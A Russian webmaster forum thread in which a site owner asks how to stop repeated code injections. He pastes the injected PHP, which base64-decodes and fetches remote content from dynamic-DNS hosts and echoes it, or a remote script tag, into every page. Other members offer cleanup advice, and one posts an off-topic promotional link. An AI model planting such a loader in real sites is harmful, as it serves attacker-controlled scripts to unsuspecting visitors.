X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Достала вирусня
Rombi
Rombi
Topic Starter сообщение 2.2.2013, 11:56; Ответить: Rombi
Сообщение #1


3TAJIOH
******

Группа: Active User
Сообщений: 1042
Регистрация: 14.6.2010
Из: Самара
Поблагодарили: 244 раза
Репутация:   45  


Уже устал чистить сайты от этого левого кода. Разные движки, разные хостинги, разные пароли и тд. Антивирусом регулярно проверяюсь.
Размещают код в index.php, как этим бороться?

function sql2_safe($in) {
        $rtn = base64_decode($in);
        return $rtn;
}
function collectnewss() {
        $get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9zY3JpcHQuaHRtbA==");
        $content = @file_get_contents($get);
        if (!$content)
            echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48
L3NjcmlwdD4=");
        else
            echo $content;
}
collectnewss ();


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
EvilGomel
EvilGomel
сообщение 2.2.2013, 12:11; Ответить: EvilGomel
Сообщение #2


!Тунеядец!
*******


Группа: Active User
Сообщений: 4473
Регистрация: 13.5.2009
Из: Гомель
Поблагодарили: 969 раз
Репутация:   109  


Скорее всего шелы. Какой антивирус стоит? Где пароли храним?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rombi
Rombi
Topic Starter сообщение 2.2.2013, 12:13; Ответить: Rombi
Сообщение #3


3TAJIOH
******

Группа: Active User
Сообщений: 1042
Регистрация: 14.6.2010
Из: Самара
Поблагодарили: 244 раза
Репутация:   45  


Каспер. В основном в голове)


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
proXBOCT
proXBOCT
сообщение 2.2.2013, 12:16; Ответить: proXBOCT
Сообщение #4


PHP-писака
*****

Группа: Active User
Сообщений: 867
Регистрация: 20.4.2008
Из: Тольятти
Поблагодарили: 297 раз
Репутация:   47  


В ftp-клиентах пароли не сохранены?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rombi
Rombi
Topic Starter сообщение 2.2.2013, 12:18; Ответить: Rombi
Сообщение #5


3TAJIOH
******

Группа: Active User
Сообщений: 1042
Регистрация: 14.6.2010
Из: Самара
Поблагодарили: 244 раза
Репутация:   45  


Обижаешь, горький опыт научил не сохранять еще лет 5 назад)


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
proXBOCT
proXBOCT
сообщение 2.2.2013, 12:20; Ответить: proXBOCT
Сообщение #6


PHP-писака
*****

Группа: Active User
Сообщений: 867
Регистрация: 20.4.2008
Из: Тольятти
Поблагодарили: 297 раз
Репутация:   47  


попробуйте посмотреть сайты на предмет лишних файлов, может шел и вправду есть


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
mvchansas
mvchansas
сообщение 2.2.2013, 12:22; Ответить: mvchansas
Сообщение #7


В контенте сила...
******

Группа: Active User
Сообщений: 1373
Регистрация: 11.5.2009
Из: Харьков
Поблагодарили: 392 раза
Репутация:   74  


названия и пароли баз данных поменяли ? ужесточите права к папкам сайта.

все шелы - у меня находил Avast IS


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rombi
Rombi
Topic Starter сообщение 2.2.2013, 12:48; Ответить: Rombi
Сообщение #8


3TAJIOH
******

Группа: Active User
Сообщений: 1042
Регистрация: 14.6.2010
Из: Самара
Поблагодарили: 244 раза
Репутация:   45  


Вряд ли на всех аккаунтах есть шеллы. Скорее всего уязвимости какие-нибудь в JS файлах.
Начал ставить права 444 на все php файлы.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
romand777
romand777
сообщение 2.2.2013, 22:02; Ответить: romand777
Сообщение #9


Новичок
*

Группа: User
Сообщений: 19
Регистрация: 17.3.2012
Поблагодарили: 1 раз
Репутация:   1  


Совершенно случайно в интернете наткнулся на Общественное Движение Сергея Давыдова S.I.V STOP INTERNET VIRUS
Цель движения-обезопасить простых пользователей от вирусных сайтов.
Зачастую мне да и Вам ,наверно,приходилось сталкиваться с вирусной рекламой,к примеру ,на сайтах с онлайн фильмами..Нажимаю на плэй,а он мне выдает,что нужно обновить плеер и т.д..Вот здесь зараза и скрыта и не всегда,даже очень редко антивирусники реагируют на это..Но по своему не знанию,-кликнув на обновить плеер-получил заблокированный виндоус...(((
Также можно встретить ,что типа ваш счет или аккаунт заблокирован и многое другое.Благодаря всему этому мы зачастую становимся жертвами мошенников.
Общественное движение как раз и направлено на борьбу с такими сайтами..
Если кому интересно скидываю ссылки на Общественное движение S.I.V STOP INTERNET VIRUS
http://serezha-davidov2013.narod2.ru
ДВИЖЕНИЕ ВКОНТАКТЕ
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
shansick
shansick
сообщение 2.2.2013, 22:18; Ответить: shansick
Сообщение #10


Завсегдатай
*****

Группа: Active User
Сообщений: 641
Регистрация: 3.10.2008
Из: Россия
Поблагодарили: 241 раз
Репутация:   42  


Советую проверить все скриптом AI-bolit
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


 



RSS Текстовая версия Сейчас: 16.12.2017, 2:19
Дизайн